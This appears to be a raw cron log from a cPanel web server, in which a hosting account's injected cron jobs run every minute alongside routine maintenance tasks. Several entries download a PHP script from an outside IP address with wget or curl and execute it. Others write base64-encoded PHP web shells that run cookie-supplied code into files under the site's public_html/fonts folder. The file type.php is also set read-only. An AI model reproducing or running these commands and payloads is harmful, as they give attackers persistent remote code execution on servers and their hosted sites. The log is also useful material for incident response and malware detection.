Sep  7 23:34:01 ip-184-168-122-23 CROND[5369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:34:01 ip-184-168-122-23 CROND[5370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:34:01 ip-184-168-122-23 CROND[5372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:34:01 ip-184-168-122-23 CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5465]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5463]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:35:01 ip-184-168-122-23 CROND[5462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:35:01 ip-184-168-122-23 CROND[5467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:36:02 ip-184-168-122-23 CROND[5570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:36:02 ip-184-168-122-23 CROND[5572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:36:02 ip-184-168-122-23 CROND[5573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:36:02 ip-184-168-122-23 CROND[5574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:36:02 ip-184-168-122-23 CROND[5571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:37:01 ip-184-168-122-23 CROND[5687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:37:01 ip-184-168-122-23 CROND[5689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:37:01 ip-184-168-122-23 CROND[5688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:37:01 ip-184-168-122-23 CROND[5690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:38:01 ip-184-168-122-23 CROND[5781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:38:01 ip-184-168-122-23 CROND[5782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:38:01 ip-184-168-122-23 CROND[5783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:38:01 ip-184-168-122-23 CROND[5785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:38:01 ip-184-168-122-23 CROND[5784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:39:01 ip-184-168-122-23 CROND[5882]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 23:39:01 ip-184-168-122-23 CROND[5884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:39:01 ip-184-168-122-23 CROND[5883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:39:01 ip-184-168-122-23 CROND[5886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:39:01 ip-184-168-122-23 CROND[5885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:40:01 ip-184-168-122-23 CROND[5991]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:40:01 ip-184-168-122-23 CROND[5995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:40:01 ip-184-168-122-23 CROND[6000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:40:01 ip-184-168-122-23 CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:40:01 ip-184-168-122-23 CROND[5998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:40:01 ip-184-168-122-23 CROND[5994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:40:01 ip-184-168-122-23 CROND[5997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:40:01 ip-184-168-122-23 CROND[6003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:41:01 ip-184-168-122-23 CROND[6181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:41:01 ip-184-168-122-23 CROND[6182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:41:01 ip-184-168-122-23 CROND[6185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:41:01 ip-184-168-122-23 CROND[6183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:42:01 ip-184-168-122-23 CROND[6296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:42:01 ip-184-168-122-23 CROND[6298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:42:01 ip-184-168-122-23 CROND[6301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:42:01 ip-184-168-122-23 CROND[6299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:42:01 ip-184-168-122-23 CROND[6300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:43:01 ip-184-168-122-23 CROND[6382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:43:01 ip-184-168-122-23 CROND[6385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:43:01 ip-184-168-122-23 CROND[6383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:43:01 ip-184-168-122-23 CROND[6384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:44:01 ip-184-168-122-23 CROND[6467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:44:01 ip-184-168-122-23 CROND[6471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:44:01 ip-184-168-122-23 CROND[6469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:44:01 ip-184-168-122-23 CROND[6470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:44:01 ip-184-168-122-23 CROND[6472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:45:01 ip-184-168-122-23 CROND[6593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:45:01 ip-184-168-122-23 CROND[6595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:45:01 ip-184-168-122-23 CROND[6597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:45:01 ip-184-168-122-23 CROND[6598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:45:01 ip-184-168-122-23 CROND[6596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:45:01 ip-184-168-122-23 CROND[6599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:46:01 ip-184-168-122-23 CROND[6686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
